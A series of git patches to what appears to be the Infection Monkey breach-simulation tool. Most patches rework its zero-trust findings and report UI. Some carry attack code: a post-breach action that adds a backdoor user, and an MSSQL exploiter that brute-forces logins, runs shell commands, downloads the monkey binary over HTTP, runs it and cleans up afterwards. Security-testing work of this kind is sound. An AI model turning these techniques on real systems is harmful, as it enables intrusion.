 from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \
     STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS
 from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
 from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.models.zero_trust.finding import Finding
 from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES
 
 
@@ -31,7 +31,9 @@ def test_antivirus_existence(telemetry_json):
             test_status = STATUS_PASSED
         else:
             test_status = STATUS_FAILED
-        Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events)
+        AggregateFinding.create_or_add_to_existing(
+            test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events
+        )
 
 
 def filter_av_processes(telemetry_json):
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
index 65d044b19..be240f150 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -2,8 +2,8 @@ import json
 
 from common.data.zero_trust_consts import *
 from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
 from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.models.zero_trust.finding import Finding
 
 HTTP_SERVERS_SERVICES_NAMES = ['tcp-80']
 
@@ -54,19 +54,19 @@ def test_open_data_endpoints(telemetry_json):
                 event_type=EVENT_TYPE_ISLAND
             ))
 
-    Finding.save_finding(
+    AggregateFinding.create_or_add_to_existing(
         test=TEST_DATA_ENDPOINT_HTTP,
         status=found_http_server_status,
         events=events
     )
 
-    Finding.save_finding(
+    AggregateFinding.create_or_add_to_existing(
         test=TEST_DATA_ENDPOINT_ELASTIC,
         status=found_elastic_search_server,
         events=events
     )
 
-    Finding.save_finding(
+    AggregateFinding.create_or_add_to_existing(
         test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
         status=STATUS_INCONCLUSIVE,
         events=events
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index d4f8c53c1..d6416c0ef 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -1,5 +1,6 @@
 from common.data.zero_trust_consts import *
 from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
 from monkey_island.cc.models.zero_trust.event import Event
 from monkey_island.cc.models.zero_trust.finding import Finding
 
@@ -39,7 +40,7 @@ def test_machine_exploited(telemetry_json):
         events=events
     )
 
-    Finding.save_finding(
+    AggregateFinding.create_or_add_to_existing(
         test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
         status=STATUS_INCONCLUSIVE,
         events=events

From 3f2d5b1479b9845541e7ff6c4eeddb696da324ab Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 12:08:58 +0300
Subject: [PATCH 08/78] Aggregate passed exploit attempts tests (which means
 failed exploiting)

---
 .../zero_trust_tests/machine_exploited.py      | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index d6416c0ef..1afe8bfe1 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -34,11 +34,19 @@ def test_machine_exploited(telemetry_json):
         )
         status = STATUS_FAILED
 
-    Finding.save_finding(
-        test=TEST_MACHINE_EXPLOITED,
-        status=status,
-        events=events
-    )
+    # aggregate only passed tests (which means exploit failed). Each successful exploit gets its own finding. 
+    if status == STATUS_FAILED:
+        Finding.save_finding(
+            test=TEST_MACHINE_EXPLOITED,
+            status=status,
+            events=events
+        )
+    else:
+        AggregateFinding.create_or_add_to_existing(
+            test=TEST_MACHINE_EXPLOITED,
+            status=status,
+            events=events
+        )
 
     AggregateFinding.create_or_add_to_existing(
         test=TEST_MALICIOUS_ACTIVITY_TIMELINE,

From e7953defdcc2ffb34d8ed37bc7a54147c2b89aa5 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 12:09:26 +0300
Subject: [PATCH 09/78] Now that findings are aggregated, added events amount
 counter badge

---
 .../zerotrust/EventsButton.js                 | 23 +++++++++++--------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
index 33c6a2384..66f1ae3d3 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -1,9 +1,7 @@
-import React, {Component} from "react";
+import React, {Component, Fragment} from "react";
 import EventsModal from "./EventsModal";
-import {Button} from "react-bootstrap";
-import FileSaver from "file-saver";
+import {Badge, Button} from "react-bootstrap";
 import * as PropTypes from "prop-types";
-import ExportEventsButton from "./ExportEventsButton";
 
 export default class EventsButton extends Component {
   constructor(props) {
@@ -22,16 +20,21 @@ export default class EventsButton extends Component {
   };
 
   render() {
-    return (
-      <div>
-        <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide} exportFilename={this.props.exportFilename} />
+    let eventsAmountBadge;
+    if (this.props.events.length > 10) {
+      eventsAmountBadge = <Badge>9+</Badge>;
+    } else {
+      eventsAmountBadge = <Badge>{this.props.events.length}</Badge>;
+    }
+    return <Fragment>
+        <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide}
+                     exportFilename={this.props.exportFilename}/>
         <div className="text-center" style={{"display": "grid"}}>
           <Button className="btn btn-primary btn-lg" onClick={this.show}>
-            <i className="fa fa-list"/> Events
+            <i className="fa fa-list"/> Events {eventsAmountBadge}
           </Button>
         </div>
-      </div>
-    );
+    </Fragment>;
   }
 
 }

From f7d66e0ebc3d6ec8c71e1832b206ff825a9dd684 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 12:10:27 +0300
Subject: [PATCH 10/78] Realize the previous idea was stupid and aggregate all
 exploit attempts based on status alone

---
 .../zero_trust_tests/machine_exploited.py      | 18 +++++-------------
 1 file changed, 5 insertions(+), 13 deletions(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index 1afe8bfe1..ef300d82b 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -34,19 +34,11 @@ def test_machine_exploited(telemetry_json):
         )
         status = STATUS_FAILED
 
-    # aggregate only passed tests (which means exploit failed). Each successful exploit gets its own finding. 
-    if status == STATUS_FAILED:
-        Finding.save_finding(
-            test=TEST_MACHINE_EXPLOITED,
-            status=status,
-            events=events
-        )
-    else:
-        AggregateFinding.create_or_add_to_existing(
-            test=TEST_MACHINE_EXPLOITED,
-            status=status,
-            events=events
-        )
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_MACHINE_EXPLOITED,
+        status=status,
+        events=events
+    )
 
     AggregateFinding.create_or_add_to_existing(
         test=TEST_MALICIOUS_ACTIVITY_TIMELINE,

From 146c87c33814c426437195bd72ed6dab09256ffc Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 12:18:42 +0300
Subject: [PATCH 11/78] Optimize import

---
 .../cc/services/telemetry/zero_trust_tests/machine_exploited.py  | 1 -
 1 file changed, 1 deletion(-)

diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index ef300d82b..57007cd09 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -2,7 +2,6 @@ from common.data.zero_trust_consts import *
 from monkey_island.cc.models import Monkey
 from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
 from monkey_island.cc.models.zero_trust.event import Event
-from monkey_island.cc.models.zero_trust.finding import Finding
 
 
 def test_machine_exploited(telemetry_json):

From 1550742d4d46bf92b3fd5ad06ce424a4c783bcd1 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sun, 1 Sep 2019 15:40:29 +0300
Subject: [PATCH 12/78] Added tunneling zero trust test

---
 monkey/common/data/zero_trust_consts.py       | 17 ++++++++--
 .../services/telemetry/processing/tunnel.py   |  5 ++-
 .../cc/services/telemetry/processing/utils.py |  5 +++
 .../telemetry/zero_trust_tests/tunneling.py   | 31 +++++++++++++++++++
 4 files changed, 55 insertions(+), 3 deletions(-)
 create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py

diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 18c02e818..3cf9cda92 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -29,6 +29,7 @@ TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
 TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
 TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
 TEST_SEGMENTATION = u"segmentation"
+TEST_TUNNELING = u"tunneling"
 TESTS = (
     TEST_SEGMENTATION,
     TEST_MALICIOUS_ACTIVITY_TIMELINE,
@@ -36,7 +37,8 @@ TESTS = (
     TEST_ENDPOINT_SECURITY_EXISTS,
     TEST_MACHINE_EXPLOITED,
     TEST_DATA_ENDPOINT_HTTP,
-    TEST_DATA_ENDPOINT_ELASTIC
+    TEST_DATA_ENDPOINT_ELASTIC,
+    TEST_TUNNELING
 )
 
 RECOMMENDATION_DATA_TRANSIT = u"data_transit"
@@ -44,12 +46,14 @@ RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security"
 RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour"
 RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
 RECOMMENDATION_SEGMENTATION = u"segmentation"
+RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
 RECOMMENDATIONS = {
     RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
     RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
     RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
     RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
-    RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it."
+    RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
+    RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible."
 }
 
 POSSIBLE_STATUSES_KEY = u"possible_statuses"
@@ -127,6 +131,15 @@ TESTS_MAP = {
         PILLARS_KEY: [DATA],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
     },
+    TEST_TUNNELING: {
+        TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
+        },
+        RECOMMENDATION_KEY: RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES,
+        PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
+    },
 }
 
 EVENT_TYPE_ISLAND = "island"
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
index ed57f3c7b..1598b144a 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
@@ -1,10 +1,13 @@
 from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation
 
 
 def process_tunnel_telemetry(telemetry_json):
+    test_tunneling_violation(telemetry_json)
     monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
     if telemetry_json['data']['proxy'] is not None:
-        tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+        tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json)
         NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
     else:
         NodeService.unset_all_monkey_tunnels(monkey_id)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
index 9bafb505f..466b81bf1 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
@@ -11,3 +11,8 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
         dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
 
     return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
+
+
+def get_tunnel_host_ip_from_proxy_field(telemetry_json):
+    tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+    return tunnel_host_ip
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
new file mode 100644
index 000000000..2c9be5e1f
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
@@ -0,0 +1,31 @@
+from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_INCONCLUSIVE, \
+    TEST_MALICIOUS_ACTIVITY_TIMELINE
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+
+
+def test_tunneling_violation(tunnel_telemetry_json):
+    if tunnel_telemetry_json['data']['proxy'] is not None:
+        # Monkey is tunneling, create findings
+        tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json)
+        current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid'])
+        tunneling_events = [Event.create_event(
+            title="Tunneling event",
+            message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
+                hostname=current_monkey.hostname, proxy=tunnel_host_ip),
+            event_type=EVENT_TYPE_MONKEY_NETWORK,
+            timestamp=tunnel_telemetry_json['timestamp']
+        )]
+        AggregateFinding.create_or_add_to_existing(
+            test=TEST_TUNNELING,
+            status=STATUS_FAILED,
+            events=tunneling_events
+        )
+
+        AggregateFinding.create_or_add_to_existing(
+            test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
+            status=STATUS_INCONCLUSIVE,
+            events=tunneling_events
+        )

From 30b74675a5e9d02f9b69727a44a988af28a7221b Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 2 Sep 2019 10:08:52 +0300
Subject: [PATCH 13/78] Revert "Revert "Added post breach processing dict and
 extracted consts to common""

This reverts commit 36ad6fc4416b8df75902ce47eb559fd58e84ca54.
---
 monkey/common/data/post_breach_consts.py               |  2 ++
 .../infection_monkey/post_breach/actions/add_user.py   |  5 +++--
 .../post_breach/actions/users_custom_pba.py            |  3 ++-
 .../cc/services/telemetry/processing/post_breach.py    | 10 ++++++++++
 4 files changed, 17 insertions(+), 3 deletions(-)
 create mode 100644 monkey/common/data/post_breach_consts.py

diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
new file mode 100644
index 000000000..8262757ca
--- /dev/null
+++ b/monkey/common/data/post_breach_consts.py
@@ -0,0 +1,2 @@
+POST_BREACH_BACKDOOR_USER = "Backdoor user"
+POST_BREACH_FILE_EXECUTION = "File execution"
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index ff7ae3a50..ce05371a6 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -1,8 +1,9 @@
 import datetime
+
+from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.config import WormConfiguration
 
-
 __author__ = 'danielg'
 
 LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
@@ -16,6 +17,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
 
 class BackdoorUser(PBA):
     def __init__(self):
-        super(BackdoorUser, self).__init__("Backdoor user",
+        super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER,
                                            linux_cmd=' '.join(LINUX_COMMANDS),
                                            windows_cmd=WINDOWS_COMMANDS)
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index a388813ab..468a2b29b 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -1,6 +1,7 @@
 import os
 import logging
 
+from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION
 from infection_monkey.utils import is_windows_os
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.control import ControlClient
@@ -27,7 +28,7 @@ class UsersPBA(PBA):
     Defines user's configured post breach action.
     """
     def __init__(self):
-        super(UsersPBA, self).__init__("File execution")
+        super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
         self.filename = ''
         if not is_windows_os():
             # Add linux commands to PBA's
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index b086d5ff4..2515c2d30 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -1,7 +1,17 @@
 from monkey_island.cc.database import mongo
+from common.data.post_breach_consts import *
+
+POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
+    # `lambda *args, **kwargs: None` is a no-op.
+    POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None,
+    POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None,
+}
 
 
 def process_post_breach_telemetry(telemetry_json):
     mongo.db.monkey.update(
         {'guid': telemetry_json['monkey_guid']},
         {'$push': {'pba_results': telemetry_json['data']}})
+
+    if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
+        POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json)

From b733cf3389481cde1d16de7b20a3f81df0725144 Mon Sep 17 00:00:00 2001
From: vakaris_zilius <vakarisz@yahoo.com>
Date: Mon, 2 Sep 2019 08:37:52 +0000
Subject: [PATCH 14/78] Changed tmp dir path on mssql exploiter

---
 monkey/infection_monkey/exploit/mssqlexec.py        | 12 +++++-------
 .../exploit/tools/payload_parsing.py                | 13 +++++++++----
 2 files changed, 14 insertions(+), 11 deletions(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 4d6749ba5..c26954090 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -11,7 +11,6 @@ from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_tar
     build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
 from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
-import infection_monkey.utils
 
 LOG = logging.getLogger(__name__)
 
@@ -28,7 +27,7 @@ class MSSQLExploiter(HostExploiter):
 
     # Temporary file that saves commands for monkey's download and execution.
     TMP_FILE_NAME = 'tmp_monkey.bat'
-    TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir"
+    TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
 
     MAX_XP_CMDSHELL_COMMAND_SIZE = 128
 
@@ -110,11 +109,10 @@ class MSSQLExploiter(HostExploiter):
         self.run_file(tmp_file_path)
 
         # Remove temporary dir we stored payload at
-        if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower():
-            tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path)
-            self.try_to_run_mssql_command(tmp_file_removal_command)
-            tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
-            self.try_to_run_mssql_command(tmp_dir_removal_command)
+        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path)
+        self.try_to_run_mssql_command(tmp_file_removal_command)
+        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        self.try_to_run_mssql_command(tmp_dir_removal_command)
 
         return True
 
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
index e7596f11f..a02071333 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -19,7 +19,12 @@ class Payload(object):
         self.prefix = prefix
         self.suffix = suffix
 
-    def get_full_payload(self, command=""):
+    def get_payload(self, command=""):
+        """
+        Returns prefixed and suffixed command (full payload)
+        :param command: Command to suffix/prefix. If no command is passed than objects' property is used
+        :return: prefixed and suffixed command (full payload)
+        """
         if not command:
             command = self.command
         return "{}{}{}".format(self.prefix, command, self.suffix)
@@ -50,10 +55,10 @@ class LimitedSizePayload(Payload):
             return False
         elif self.command == "":
             return [self.prefix+self.suffix]
-
-        commands = [self.get_full_payload(part)
+        wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
+        commands = [self.get_payload(part)
                     for part
-                    in textwrap.wrap(self.command, self.get_max_sub_payload_length())]
+                    in wrapper.wrap(self.command)]
         return commands
 
     def get_max_sub_payload_length(self):

From 63d07f9c4bfae894a3dc1516ffb6fd59b4c8e4bd Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 3 Sep 2019 15:51:13 +0300
Subject: [PATCH 15/78] Added unit tests, improved mssql readability

---
 monkey/infection_monkey/exploit/mssqlexec.py  | 180 +++++++++---------
 .../exploit/tools/exceptions.py               |   5 +
 .../infection_monkey/exploit/tools/helpers.py |   7 +
 .../exploit/tools/http_tools.py               |  32 +++-
 .../exploit/tools/payload_parsing.py          |  17 +-
 .../exploit/tools/payload_parsing_test.py     |  32 ++++
 monkey/infection_monkey/monkey.py             |   7 +-
 7 files changed, 175 insertions(+), 105 deletions(-)
 create mode 100644 monkey/infection_monkey/exploit/tools/exceptions.py
 create mode 100644 monkey/infection_monkey/exploit/tools/payload_parsing_test.py

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index c26954090..fc27cc600 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -1,16 +1,18 @@
 import logging
 import os
+import sys
 from time import sleep
 
 import pymssql
 
 from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools.http_tools import HTTPTools
-from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
+from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
+from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \
     build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
 from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
 
 LOG = logging.getLogger(__name__)
 
@@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter):
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
         self.cursor = None
+        self.monkey_binary_on_host_path = None
+        self.monkey_server = None
+        self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
 
     def _exploit_host(self):
         # Brute force to get connection
         username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
         self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
 
-        if not self.cursor:
-            LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
-            return False
-
-        # Get monkey exe for host and it's path
-        src_path = get_target_monkey(self.host)
-        if not src_path:
-            LOG.info("Can't find suitable monkey executable for host %r", self.host)
-            return False
-
-        # Create server for http download and wait for it's startup.
-        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
-        if not http_path:
-            LOG.debug("Exploiter failed, http transfer creation failed.")
-            return False
-        LOG.info("Started http server on %s", http_path)
-
-        dst_path = get_monkey_dest_path(http_path)
-        tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
-
         # Create dir for payload
+        self.create_temp_dir()
+
+        try:
+            self.create_empty_payload_file()
+
+            self.start_monkey_server()
+            self.upload_monkey()
+            self.stop_monkey_server()
+
+            # Clear payload to pass in another command
+            self.create_empty_payload_file()
+
+            self.run_monkey()
+
+            self.remove_temp_dir()
+        except Exception as e:
+            raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
+
+        return True
+
+    def run_payload_file(self):
+        file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
+        return self.run_mssql_command(file_running_command)
+
+    def create_temp_dir(self):
         dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
-        if not self.try_to_run_mssql_command(dir_creation_command):
-            return False
+        self.run_mssql_command(dir_creation_command)
 
-        if not self.create_empty_payload_file(tmp_file_path):
-            return True
+    def create_empty_payload_file(self):
+        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
+        tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
+        self.run_mssql_command(tmp_file_creation_command)
 
-        # Form download command
-        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path,
-                                                                            'dst_path': dst_path}
-        # Form suffix for appending to temp payload file
-        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
-        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command,
-                                                          suffix=suffix,
-                                                          prefix=prefix)
-        if not self.try_to_run_mssql_command(monkey_download_command):
-            return True
-        self.run_file(tmp_file_path)
+    def run_mssql_command(self, mssql_command):
+        array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
+        if not array_of_commands:
+            raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
+        self.run_mssql_commands(array_of_commands)
 
+    def run_monkey(self):
+        monkey_launch_command = self.get_monkey_launch_command()
+        self.run_mssql_command(monkey_launch_command)
+        self.run_payload_file()
+
+    def run_mssql_commands(self, cmds):
+        for cmd in cmds:
+            self.cursor.execute(cmd)
+            sleep(MSSQLExploiter.QUERY_BUFFER)
+
+    def upload_monkey(self):
+        monkey_download_command = self.write_download_command_to_payload()
+        self.run_payload_file()
         self.add_executed_cmd(monkey_download_command.command)
 
-        # Clear payload to pass in another command
-        if not self.create_empty_payload_file(tmp_file_path):
-            return True
+    def remove_temp_dir(self):
+        # Remove temporary dir we stored payload at
+        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path)
+        self.run_mssql_command(tmp_file_removal_command)
+        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        self.run_mssql_command(tmp_dir_removal_command)
 
+    def start_monkey_server(self):
+        self.monkey_server = MonkeyHTTPServer(self.host)
+        self.monkey_server.start()
+
+    def stop_monkey_server(self):
+        self.monkey_server.stop()
+
+    def write_download_command_to_payload(self):
+        monkey_download_command = self.get_monkey_download_command()
+        self.run_mssql_command(monkey_download_command)
+        return monkey_download_command
+
+    def get_monkey_launch_command(self):
